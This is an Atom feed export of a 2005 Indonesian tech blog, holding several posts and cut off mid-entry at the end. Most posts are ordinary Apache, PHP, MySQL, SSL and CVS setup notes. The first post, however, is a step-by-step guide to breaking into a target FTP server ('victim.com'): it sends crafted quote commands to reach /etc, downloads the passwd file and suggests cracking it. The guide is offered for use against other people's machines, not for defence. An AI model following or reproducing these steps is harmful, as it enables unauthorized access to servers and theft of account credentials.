<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-11073072</id><updated>2011-11-27T16:11:28.912-08:00</updated><title type='text'>Learning Techno</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://yudhax.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11073072/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://yudhax.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>y u d h a x</name><uri>http://www.blogger.com/profile/11288479023899701739</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>25</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-11073072.post-111051557187861110</id><published>2005-03-10T20:28:00.000-08:00</published><updated>2005-03-10T20:32:51.880-08:00</updated><title type='text'>hacking shell melalui FTP</title><content type='html'>Berikut ini adalah cara menghack menggunakan Windows, yang digunakan untuk mendapatkan password file dari sebuah shell.Cara ini menggunakan ftp protocol.Kebanyakan paswordnya id sembunyikan /shadowed, tapi kamu masih bisa mendapatkannya dg meng-finger atau menebak passwordnya untuk loginnya.&lt;br /&gt;Kamu dapat memulainya dg membuka/memasuki sebuah shell, dan kamu tidak perlu/tidak harus menggunakan/ berada didalam sebuah ftp server.berikut langkah langkahnya :&lt;br /&gt;&lt;br /&gt;1.jalankan prompt&lt;br /&gt;2.Tuliskan command untuk membuka dos command prompt&lt;br /&gt;3.tuliskan ftp victim.com (nama server yg ingin di hacking !!)&lt;br /&gt;4.Akan muncul prompt login.. tekan enter saja (tidak perlu menuliskan apa apa)&lt;br /&gt;5.Akan muncul password login.. tekan saja enter...&lt;br /&gt;6.sekarang ketiklah "quote user ftp" dan tekan enter&lt;br /&gt;7.lalu ketik "quote cwd ~root" tekan enter&lt;br /&gt;8.dan ketikan "quote pass ftp" tekan enter&lt;br /&gt;Sekarang kamu sudah memiliki guest access dan dapat mendownload password file.. and have a fuckin' shit with that&lt;br /&gt;9.ketiklah "cd etc" tekan enter.. untuk mendapatkan -etc directory- yg berisi file password&lt;br /&gt;10.ketiklah "get passwd" untuk mendownload passw.file ke HD mu&lt;br /&gt;&lt;br /&gt;Dengan demikian kita sudah memiliki password file dari victim dan kita dapat membukanya di C:\passwd dengan menggunakan notepad&lt;br /&gt;Jika file tersebut di enkripsi.. kamu bisa meng-crack.. dan jika tidak dienkripsi..berarti anda berhasil&lt;br /&gt;&lt;br /&gt;kamu dapat mencocokan antara user login dg passwordnya....&lt;br /&gt;&lt;br /&gt;thanks&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11073072-111051557187861110?l=yudhax.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://yudhax.blogspot.com/feeds/111051557187861110/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11073072&amp;postID=111051557187861110' title='7 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11073072/posts/default/111051557187861110'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11073072/posts/default/111051557187861110'/><link rel='alternate' type='text/html' href='http://yudhax.blogspot.com/2005/03/hacking-shell-melalui-ftp.html' title='hacking shell melalui FTP'/><author><name>y u d h a x</name><uri>http://www.blogger.com/profile/11288479023899701739</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11073072.post-111028510028111814</id><published>2005-03-08T04:30:00.000-08:00</published><updated>2005-03-08T04:31:40.286-08:00</updated><title type='text'>Apache/PHP/MySQL with SSL Installation</title><content type='html'># Move to /usr/local&lt;br /&gt;cd /usr/local&lt;br /&gt;# Get the following source:&lt;br /&gt;&lt;br /&gt;ftp://ftp.openssl.org/source/openssl-0.9.7c.tar.gz&lt;br /&gt;http://www.ibiblio.org/pub/mirrors/apache/httpd/httpd-2.0.48.tar.gz&lt;br /&gt;http://www.linuxguruz.org/downloads/php-4.3.4.tar.gz&lt;br /&gt;http://mysql.secsup.org/Downloads/MySQL-4.0/mysql-4.0.17.tar.gz&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;# Decompress the sources:&lt;br /&gt;tar -xvzf openssl-0.9.7c.tar.gz&lt;br /&gt;tar -xvzf httpd-2.0.48.tar.gz&lt;br /&gt;tar -xvzf php-4.3.4.tar.gz&lt;br /&gt;tar -xvzf mysql-4.0.17.tar.gz&lt;br /&gt;&lt;br /&gt;cd ../mysql-4.0.17&lt;br /&gt;./configure&lt;br /&gt;make&lt;br /&gt;make install&lt;br /&gt;scripts/mysql_install_db&lt;br /&gt;&lt;br /&gt;adduser mysql&lt;br /&gt;# In the file /etc/login.access add this line:&lt;br /&gt;-:mysql:ALL&lt;br /&gt;# So the user mysql never actualy logs in&lt;br /&gt;&lt;br /&gt;# For Slackware:&lt;br /&gt;chown -R mysql.users /usr/local/var&lt;br /&gt;# For Redhat:&lt;br /&gt;chown -R mysql.mysql /usr/local/var&lt;br /&gt;&lt;br /&gt;mysqld_safe --user=mysql &amp;&lt;br /&gt;&lt;br /&gt;# Hit &lt;Enter&gt;&lt;br /&gt;mysqladmin -u root password 'yourpasswordhere'&lt;br /&gt;&lt;br /&gt;cd ../openssl-0.9.7c&lt;br /&gt;sh config -fPIC&lt;br /&gt;make&lt;br /&gt;# If you get a "Not enough room for program headers" error here,&lt;br /&gt;# install the LATEST version of binutils.&lt;br /&gt;&lt;br /&gt;cd ../httpd-2.0.48&lt;br /&gt;SSL_BASE=../openssl-0.9.7c ./configure --prefix=/usr/local/apache --enable-module=all --enable-ssl --enable-so&lt;br /&gt;make&lt;br /&gt;&lt;br /&gt;# Note: There is a Redhat bug that complains about mod_auth_dbm.so&lt;br /&gt;# during the Apache `make` proccess. Adding the configuration&lt;br /&gt;# switch --disable-module=auth_dbm to the end of the ./configure line&lt;br /&gt;# will fix it.&lt;br /&gt;&lt;br /&gt;# If you presently have a libphp4.so module you should make a backup:&lt;br /&gt;cp /usr/local/apache/modules/libphp4.so /usr/local/apache/modules/libphp4.so.was&lt;br /&gt;&lt;br /&gt;# If you have a file called /usr/local/apache/conf/httpd.conf already you&lt;br /&gt;# should make a backup:&lt;br /&gt;mv /usr/local/apache/conf/httpd.conf /usr/local/apache/conf/httpd.conf.was&lt;br /&gt;&lt;br /&gt;# This way you'll get a fresh httpd.conf with all your Apache modules listed&lt;br /&gt;# and 100% loadable.&lt;br /&gt;&lt;br /&gt;# Don't worry if your web server is presently running. The httpd.conf file&lt;br /&gt;# is only read by the httpd binary when starting the web server.&lt;br /&gt;&lt;br /&gt;make install&lt;br /&gt;&lt;br /&gt;# Now to create a "test certificate".&lt;br /&gt;cd /usr/local/apache/conf/&lt;br /&gt;openssl genrsa -des3 -out ca.key 1024&lt;br /&gt;# Note: In order to go live, the "Common Name" has to match the server's&lt;br /&gt;# host adress.&lt;br /&gt;openssl req -new -x509 -days 365 -key ca.key -out ca.crt&lt;br /&gt;openssl genrsa -des3 -out server.key 1024&lt;br /&gt;openssl req -new -days 365 -key server.key -out server.crt&lt;br /&gt;&lt;br /&gt;wget http://www.linuxguruz.com/downloads/sign.sh&lt;br /&gt;chmod +x sign.sh&lt;br /&gt;./sign.sh server.crt&lt;br /&gt;chmod -x sign.sh&lt;br /&gt;mkdir ssl.crt ssl.key&lt;br /&gt;cp server.crt ssl.crt&lt;br /&gt;cp server.key ssl.key&lt;br /&gt;&lt;br /&gt;# &lt;br /&gt;cd ../php-4.3.4&lt;br /&gt;./configure  --with-apxs2=/usr/local/apache/bin/apxs  --with-config-file-path=/usr/local/apache/conf  --enable-versioning  --with-mysql=/usr/local  --enable-ftp  --enable-bcmath  --disable-debug  --enable-memory-limit=yes  --enable-track-vars&lt;br /&gt;make&lt;br /&gt;make install&lt;br /&gt;&lt;br /&gt;# Make sure you have, Uncomment (remove the #'s), Change or Create&lt;br /&gt;# the following lines in the file /usr/local/apache/conf/httpd.conf&lt;br /&gt;&lt;br /&gt;LoadModule php4_module        libexec/libphp4.so&lt;br /&gt;&lt;br /&gt;&lt;IfModule mod_dir.c&gt;&lt;br /&gt;DirectoryIndex index.html index.php index.php3 index.phtml&lt;br /&gt;&lt;/IfModule&gt;&lt;br /&gt;    # And for PHP 4.x, use:&lt;br /&gt;    #&lt;br /&gt;AddType application/x-httpd-php .php .php3 .phtml&lt;br /&gt;AddType application/x-httpd-php-source .phps&lt;br /&gt;&lt;br /&gt;cp /usr/local/php-4.3.4/php.ini-dist /usr/local/apache/conf/php.ini&lt;br /&gt;&lt;br /&gt;# Start Apache:&lt;br /&gt;/usr/local/apache/bin/apachectl startssl&lt;br /&gt;&lt;br /&gt;# Create a file in /usr/local/apache/htdocs called index.php&lt;br /&gt;-html-&lt;br /&gt;-head--title-PHP Test Page-/title--/head-&lt;br /&gt;-body-&lt;br /&gt;-? phpinfo(); ?-&lt;br /&gt;-/body-&lt;br /&gt;-/html-&lt;br /&gt;&lt;br /&gt;# Point your Web Browser at:&lt;br /&gt;http://localhost/index.php&lt;br /&gt;&lt;br /&gt;Anyone who wishes to make additions or changes to this &lt;br /&gt;PHP Tutorial email them to webmaster@linuxguruz.com&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11073072-111028510028111814?l=yudhax.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://yudhax.blogspot.com/feeds/111028510028111814/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11073072&amp;postID=111028510028111814' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11073072/posts/default/111028510028111814'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11073072/posts/default/111028510028111814'/><link rel='alternate' type='text/html' href='http://yudhax.blogspot.com/2005/03/apachephpmysql-with-ssl-installation.html' title='Apache/PHP/MySQL with SSL Installation'/><author><name>y u d h a x</name><uri>http://www.blogger.com/profile/11288479023899701739</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11073072.post-111028493461356997</id><published>2005-03-08T04:25:00.001-08:00</published><updated>2005-03-08T04:30:16.373-08:00</updated><title type='text'>Apache/PHP/MySQL Installation</title><content type='html'>Title:       Apache/PHP/MySQL Installation&lt;br /&gt;Contributor: yudhax (aka Ranman)&lt;br /&gt;Last Update: Mart 08 22:24 EST 2005&lt;br /&gt;&lt;br /&gt;# Move to /usr/local&lt;br /&gt;cd /usr/local&lt;br /&gt;&lt;br /&gt;# Get the following source:&lt;br /&gt;&lt;br /&gt;http://www.ibiblio.org/pub/mirrors/apache/httpd/httpd-2.0.48.tar.gz&lt;br /&gt;http://www.linuxguruz.org/downloads/php-4.3.4.tar.gz&lt;br /&gt;http://mysql.secsup.org/Downloads/MySQL-3.23/mysql-3.23.55.tar.gz&lt;br /&gt;&lt;br /&gt;# Decompress the sources:&lt;br /&gt;tar -xvzf httpd-2.0.48.tar.gz&lt;br /&gt;tar -xvzf php-4.3.4.tar.gz&lt;br /&gt;tar -xvzf mysql-4.0.17.tar.gz&lt;br /&gt;&lt;br /&gt;cd ../mysql-4.0.17&lt;br /&gt;./configure&lt;br /&gt;make&lt;br /&gt;make install&lt;br /&gt;scripts/mysql_install_db&lt;br /&gt;&lt;br /&gt;adduser mysql&lt;br /&gt;# In the file /etc/login.access add this line:&lt;br /&gt;-:mysql:ALL&lt;br /&gt;# So the user mysql never actualy logs in&lt;br /&gt;&lt;br /&gt;# For Slackware:&lt;br /&gt;chown -R mysql.users /usr/local/var&lt;br /&gt;# For Redhat:&lt;br /&gt;chown -R mysql.mysql /usr/local/var&lt;br /&gt;&lt;br /&gt;mysqld_safe --user=mysql &amp;&lt;br /&gt;# Hit &lt;Enter&gt;&lt;br /&gt;mysqladmin -u root password 'yourpasswordhere'&lt;br /&gt;&lt;br /&gt;cd ../httpd-2.0.48&lt;br /&gt;./configure --prefix=/usr/local/apache --enable-module=all --enable-so&lt;br /&gt;make&lt;br /&gt;&lt;br /&gt;# Note: There is a Redhat bug that complains about mod_auth_dbm.so&lt;br /&gt;# during the Apache `make` proccess. Adding the configuration&lt;br /&gt;# switch --disable-module=auth_dbm to the end of the ./configure line&lt;br /&gt;# will fix it.&lt;br /&gt;&lt;br /&gt;# If you presently have a libphp4.so module you should make a backup:&lt;br /&gt;cp /usr/local/apache/libexec/libphp4.so /usr/local/apache/libexec/libphp4.so.was&lt;br /&gt;&lt;br /&gt;# If you have a file called /usr/local/apache/conf/httpd.conf already, you&lt;br /&gt;# should make a backup:&lt;br /&gt;mv /usr/local/apache/conf/httpd.conf /usr/local/apache/conf/httpd.conf.was&lt;br /&gt;&lt;br /&gt;# This way you'll get a fresh httpd.conf with all your Apache modules listed&lt;br /&gt;# and 100% loadable.&lt;br /&gt;&lt;br /&gt;# Don't worry if your web server is presently running. The httpd.conf file&lt;br /&gt;# is only read by the httpd binary when starting the web server.&lt;br /&gt;&lt;br /&gt;make install&lt;br /&gt;&lt;br /&gt;cd ../php-4.3.4&lt;br /&gt;./configure  --with-apxs2=/usr/local/apache/bin/apxs  --with-config-file-path=/usr/local/apache/conf  --enable-versioning  --with-mysql=/usr/local  --enable-ftp  --with-gd  --enable-bcmath  --disable-debug  --enable-memory-limit=yes  --enable-track-vars&lt;br /&gt;make&lt;br /&gt;make install&lt;br /&gt;&lt;br /&gt;# Make sure you have, Uncomment (remove the #'s), Change or Create&lt;br /&gt;# the following lines in the file /usr/local/apache/conf/httpd.conf&lt;br /&gt;&lt;br /&gt;LoadModule php4_module        libexec/libphp4.so&lt;br /&gt;&lt;br /&gt;&lt;IfModule mod_dir.c&gt;&lt;br /&gt;DirectoryIndex index.html index.php index.php3 index.phtml&lt;br /&gt;&lt;/IfModule&gt;&lt;br /&gt;    # And for PHP 4.x, use:&lt;br /&gt;    #&lt;br /&gt;AddType application/x-httpd-php .php .php3 .phtml&lt;br /&gt;AddType application/x-httpd-php-source .phps&lt;br /&gt;&lt;br /&gt;cp /usr/local/php-4.3.4/php.ini-dist /usr/local/apache/conf/php.ini&lt;br /&gt;&lt;br /&gt;# Start Apache:&lt;br /&gt;/usr/local/apache/bin/apachectl start&lt;br /&gt;&lt;br /&gt;# Create a file in /usr/local/apache/htdocs called index.php&lt;br /&gt;head--title-PHP Test Page-/title--/head&lt;br /&gt;body&lt;br /&gt;? phpinfo(); ?&lt;br /&gt;/body&lt;br /&gt;/html&lt;br /&gt;&lt;br /&gt;# Point your Web Browser at:&lt;br /&gt;http://localhost/index.php&lt;br /&gt;&lt;br /&gt;Anyone who wishes to make additions or changes to this &lt;br /&gt;PHP Tutorial email them to webmaster@linuxguruz.org&lt;br /&gt;&lt;br /&gt;Copyright (c) 1999, 2000, 2001, 2002, 2003 and 2004 by LinuxGuru&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11073072-111028493461356997?l=yudhax.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://yudhax.blogspot.com/feeds/111028493461356997/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11073072&amp;postID=111028493461356997' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11073072/posts/default/111028493461356997'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11073072/posts/default/111028493461356997'/><link rel='alternate' type='text/html' href='http://yudhax.blogspot.com/2005/03/apachephpmysql-installation_08.html' title='Apache/PHP/MySQL Installation'/><author><name>y u d h a x</name><uri>http://www.blogger.com/profile/11288479023899701739</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11073072.post-111028484162596217</id><published>2005-03-08T04:25:00.000-08:00</published><updated>2005-03-08T04:27:42.376-08:00</updated><title type='text'>Apache/PHP/MySQL Installation</title><content type='html'>Title:       Apache/PHP/MySQL Installation&lt;br /&gt;Contributor: yudhax (aka Ranman)&lt;br /&gt;Last Update: Mart 08 22:24 EST 2005&lt;br /&gt;&lt;br /&gt;# Move to /usr/local&lt;br /&gt;cd /usr/local&lt;br /&gt;&lt;br /&gt;# Get the following source:&lt;br /&gt;&lt;br /&gt;http://www.ibiblio.org/pub/mirrors/apache/httpd/httpd-2.0.48.tar.gz&lt;br /&gt;http://www.linuxguruz.org/downloads/php-4.3.4.tar.gz&lt;br /&gt;http://mysql.secsup.org/Downloads/MySQL-3.23/mysql-3.23.55.tar.gz&lt;br /&gt;&lt;br /&gt;# Decompress the sources:&lt;br /&gt;tar -xvzf httpd-2.0.48.tar.gz&lt;br /&gt;tar -xvzf php-4.3.4.tar.gz&lt;br /&gt;tar -xvzf mysql-4.0.17.tar.gz&lt;br /&gt;&lt;br /&gt;cd ../mysql-4.0.17&lt;br /&gt;./configure&lt;br /&gt;make&lt;br /&gt;make install&lt;br /&gt;scripts/mysql_install_db&lt;br /&gt;&lt;br /&gt;adduser mysql&lt;br /&gt;# In the file /etc/login.access add this line:&lt;br /&gt;-:mysql:ALL&lt;br /&gt;# So the user mysql never actualy logs in&lt;br /&gt;&lt;br /&gt;# For Slackware:&lt;br /&gt;chown -R mysql.users /usr/local/var&lt;br /&gt;# For Redhat:&lt;br /&gt;chown -R mysql.mysql /usr/local/var&lt;br /&gt;&lt;br /&gt;mysqld_safe --user=mysql &amp;&lt;br /&gt;# Hit &lt;Enter&gt;&lt;br /&gt;mysqladmin -u root password 'yourpasswordhere'&lt;br /&gt;&lt;br /&gt;cd ../httpd-2.0.48&lt;br /&gt;./configure --prefix=/usr/local/apache --enable-module=all --enable-so&lt;br /&gt;make&lt;br /&gt;&lt;br /&gt;# Note: There is a Redhat bug that complains about mod_auth_dbm.so&lt;br /&gt;# during the Apache `make` proccess. Adding the configuration&lt;br /&gt;# switch --disable-module=auth_dbm to the end of the ./configure line&lt;br /&gt;# will fix it.&lt;br /&gt;&lt;br /&gt;# If you presently have a libphp4.so module you should make a backup:&lt;br /&gt;cp /usr/local/apache/libexec/libphp4.so /usr/local/apache/libexec/libphp4.so.was&lt;br /&gt;&lt;br /&gt;# If you have a file called /usr/local/apache/conf/httpd.conf already, you&lt;br /&gt;# should make a backup:&lt;br /&gt;mv /usr/local/apache/conf/httpd.conf /usr/local/apache/conf/httpd.conf.was&lt;br /&gt;&lt;br /&gt;# This way you'll get a fresh httpd.conf with all your Apache modules listed&lt;br /&gt;# and 100% loadable.&lt;br /&gt;&lt;br /&gt;# Don't worry if your web server is presently running. The httpd.conf file&lt;br /&gt;# is only read by the httpd binary when starting the web server.&lt;br /&gt;&lt;br /&gt;make install&lt;br /&gt;&lt;br /&gt;cd ../php-4.3.4&lt;br /&gt;./configure  --with-apxs2=/usr/local/apache/bin/apxs  --with-config-file-path=/usr/local/apache/conf  --enable-versioning  --with-mysql=/usr/local  --enable-ftp  --with-gd  --enable-bcmath  --disable-debug  --enable-memory-limit=yes  --enable-track-vars&lt;br /&gt;make&lt;br /&gt;make install&lt;br /&gt;&lt;br /&gt;# Make sure you have, Uncomment (remove the #'s), Change or Create&lt;br /&gt;# the following lines in the file /usr/local/apache/conf/httpd.conf&lt;br /&gt;&lt;br /&gt;LoadModule php4_module        libexec/libphp4.so&lt;br /&gt;&lt;br /&gt;&lt;IfModule mod_dir.c&gt;&lt;br /&gt;DirectoryIndex index.html index.php index.php3 index.phtml&lt;br /&gt;&lt;/IfModule&gt;&lt;br /&gt;    # And for PHP 4.x, use:&lt;br /&gt;    #&lt;br /&gt;AddType application/x-httpd-php .php .php3 .phtml&lt;br /&gt;AddType application/x-httpd-php-source .phps&lt;br /&gt;&lt;br /&gt;cp /usr/local/php-4.3.4/php.ini-dist /usr/local/apache/conf/php.ini&lt;br /&gt;&lt;br /&gt;# Start Apache:&lt;br /&gt;/usr/local/apache/bin/apachectl start&lt;br /&gt;&lt;br /&gt;# Create a file in /usr/local/apache/htdocs called index.php&lt;br /&gt;&lt;html&gt;&lt;br /&gt;&lt;head&gt;&lt;title&gt;PHP Test Page&lt;/title&gt;&lt;/head&gt;&lt;br /&gt;&lt;body&gt;&lt;br /&gt;&lt;? phpinfo(); ?&gt;&lt;br /&gt;&lt;/body&gt;&lt;br /&gt;&lt;/html&gt;&lt;br /&gt;&lt;br /&gt;# Point your Web Browser at:&lt;br /&gt;http://localhost/index.php&lt;br /&gt;&lt;br /&gt;Anyone who wishes to make additions or changes to this &lt;br /&gt;PHP Tutorial email them to webmaster@linuxguruz.org&lt;br /&gt;&lt;br /&gt;Copyright (c) 1999, 2000, 2001, 2002, 2003 and 2004 by LinuxGuru&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11073072-111028484162596217?l=yudhax.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://yudhax.blogspot.com/feeds/111028484162596217/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11073072&amp;postID=111028484162596217' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11073072/posts/default/111028484162596217'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11073072/posts/default/111028484162596217'/><link rel='alternate' type='text/html' href='http://yudhax.blogspot.com/2005/03/apachephpmysql-installation.html' title='Apache/PHP/MySQL Installation'/><author><name>y u d h a x</name><uri>http://www.blogger.com/profile/11288479023899701739</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11073072.post-111028446252826780</id><published>2005-03-08T04:20:00.000-08:00</published><updated>2005-03-08T04:21:02.530-08:00</updated><title type='text'>Some notes on CVS</title><content type='html'>Setup and run the CVS server&lt;br /&gt;&lt;br /&gt;Look for cvs services listed in /etc/servics &lt;br /&gt;&lt;br /&gt;# grep cvs /etc/services &lt;br /&gt;cvspserver2401/tcp# CVS client/server operations&lt;br /&gt;cvspserver2401/udp# CVS client/server operations&lt;br /&gt;cvsup       5999/tcpCVSup# CVSup file transfer/John Polstra/FreeBSD&lt;br /&gt;cvsup       5999/udpCVSup# CVSup file transfer/John Polstra/FreeBSD&lt;br /&gt;#&lt;br /&gt;&lt;br /&gt;Add cvs pserver to xinted &lt;br /&gt;&lt;br /&gt;#  cd /etc/xinetd.d/&lt;br /&gt;#  cat cvspserver&lt;br /&gt;# service cvspserver&lt;br /&gt; {&lt;br /&gt; socket_type         = stream&lt;br /&gt;protocol            = tcp&lt;br /&gt;wait                = no&lt;br /&gt;user                = root&lt;br /&gt;passenv             = &lt;br /&gt;server              = /usr/bin/cvs&lt;br /&gt;server_args         = --allow-root=/cvs pserver -f&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;# /sbin/service xinetd restart&lt;br /&gt;Adding CVS users and CVS passwd file&lt;br /&gt;&lt;br /&gt;Used this perl script to generate a password ( you can also use htpasswd ) &lt;br /&gt;&lt;br /&gt;$ cat passwd.pl&lt;br /&gt;&lt;br /&gt;#!/usr/bin/perl -w&lt;br /&gt;$saltchars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789./';&lt;br /&gt;while (&lt;&gt;) {&lt;br /&gt;    chomp $_;&lt;br /&gt;   my ($salt) = substr($saltchars, rand(64), 1) . substr($saltchars, rand(64), 1);&lt;br /&gt;   my ($c) = crypt($_, $salt);&lt;br /&gt;   print "'$_' =&gt; '$c'\n";&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;Generate a password &lt;br /&gt;&lt;br /&gt;$ ./passwd.pl &lt;br /&gt;password&lt;br /&gt;'password' =&gt; 'OKqq1ib8XEv2E'&lt;br /&gt;$&lt;br /&gt;&lt;br /&gt;Add the password into the password file &lt;br /&gt;&lt;br /&gt;$ cd $CVSROOT/CVSROOT&lt;br /&gt;$ cat passwd&lt;br /&gt;cvs-user:OKqq1ib8XEv2E:&lt;br /&gt;$&lt;br /&gt;&lt;br /&gt;Connecting to the CVS server&lt;br /&gt;Login from another machine like this &lt;br /&gt;&lt;br /&gt;$ cvs -d :pserver:cvs-user@serverbox.your.domain.com:/cvs login&lt;br /&gt;(Logging in to cvs-user@serverbox.your.domain.com)&lt;br /&gt;CVS password: &lt;br /&gt;$&lt;br /&gt;&lt;br /&gt;Or like this &lt;br /&gt;&lt;br /&gt;$setenv CVSROOT :pserver:cvs-user@serverbox.your.domain.com:/cvs&lt;br /&gt;$cvs login &lt;br /&gt;&lt;br /&gt;Fixing some common CVS glitches &lt;br /&gt;&lt;br /&gt;Got the folowing error:&lt;br /&gt;&lt;br /&gt;cvs co -r open-source-product-121-trial-build open-source-product-121&lt;br /&gt;cvs server: cannot open /root/.cvsignore: Permission denied&lt;br /&gt;cvs [server aborted]: can't chdir(/root): Permission denied&lt;br /&gt;&lt;br /&gt;Fixed by :&lt;br /&gt;&lt;br /&gt;$&lt;br /&gt;#unset HOME&lt;br /&gt;#/etc/rc.d/init.d/inet restart&lt;br /&gt;#/sbin/service xinetd restart&lt;br /&gt;&lt;br /&gt;Or by : ( not recommended )&lt;br /&gt;&lt;br /&gt;# chmod a+w /root&lt;br /&gt;# chmod a+x /root&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Sticky problems &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;problem:&lt;br /&gt;&lt;br /&gt;$ cvs commit -m "adding new version" foobar.c&lt;br /&gt;cvs server: sticky tag 'RELEASE-CANDIDATE-1' for file 'foobar.c' is not a branch&lt;br /&gt;cvs [server aborted]: correct above errors first!&lt;br /&gt;$&lt;br /&gt;&lt;br /&gt;fix using an update:&lt;br /&gt;&lt;br /&gt;$ cvs update -A foobar.c&lt;br /&gt;M foobar.c&lt;br /&gt;$&lt;br /&gt;$ cvs commit -m "adding new version" foobar.c&lt;br /&gt;Checking in package;&lt;br /&gt;/your/open/source/program/foobar.c,v &lt;-- foobar.c&lt;br /&gt;new revision: 1.2; previous revision: 1.1&lt;br /&gt;done&lt;br /&gt;$&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;On HP-UX rsh is not the remoteshell remsh is the remote shell, &lt;br /&gt;&lt;br /&gt;So you might need to add:&lt;br /&gt;&lt;br /&gt;$ setenv CVS_RSH /bin/remsh&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Some common CVS commands &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;$ cd /the/downlaoded/open-source-product/121/source/base/&lt;br /&gt;$ cvs import -m "open-source-product 1.2.1 source import" \ &lt;br /&gt;open-source-product-121 FOOBAR open-source-product121&lt;br /&gt;$ cvs checkout open-source-product-121&lt;br /&gt;U open-source-product-121/open-source-product/Makefile.in&lt;br /&gt;....&lt;br /&gt;$ cvs checkout open-source-product-121&lt;br /&gt;$ cvs commit -m "Added FOOBAR specific changes"&lt;br /&gt;Checking in open-source-product/nsprpub/configure;&lt;br /&gt;/cvs/open-source-product-121/open-source-product/nsprpub/configure,v  &lt;--  configure&lt;br /&gt;new revision: 1.2; previous revision: 1.1&lt;br /&gt;done&lt;br /&gt;$ cvs -q tag open-source-product-121-trial-build&lt;br /&gt;$ cvs checkout -r open-source-product-121-trial-build open-source-product-121&lt;br /&gt;$ mkdir build&lt;br /&gt;$ cvs add build/&lt;br /&gt;$ cvs -q tag open-source-product-121-trial-build&lt;br /&gt;$ cvs tag -R open-source-product-121-trial-build&lt;br /&gt;$ cvs co -r open-source-product-121-trial-build open-source-product-121&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11073072-111028446252826780?l=yudhax.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://yudhax.blogspot.com/feeds/111028446252826780/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11073072&amp;postID=111028446252826780' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11073072/posts/default/111028446252826780'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11073072/posts/default/111028446252826780'/><link rel='alternate' type='text/html' href='http://yudhax.blogspot.com/2005/03/some-notes-on-cvs.html' title='Some notes on CVS'/><author><name>y u d h a 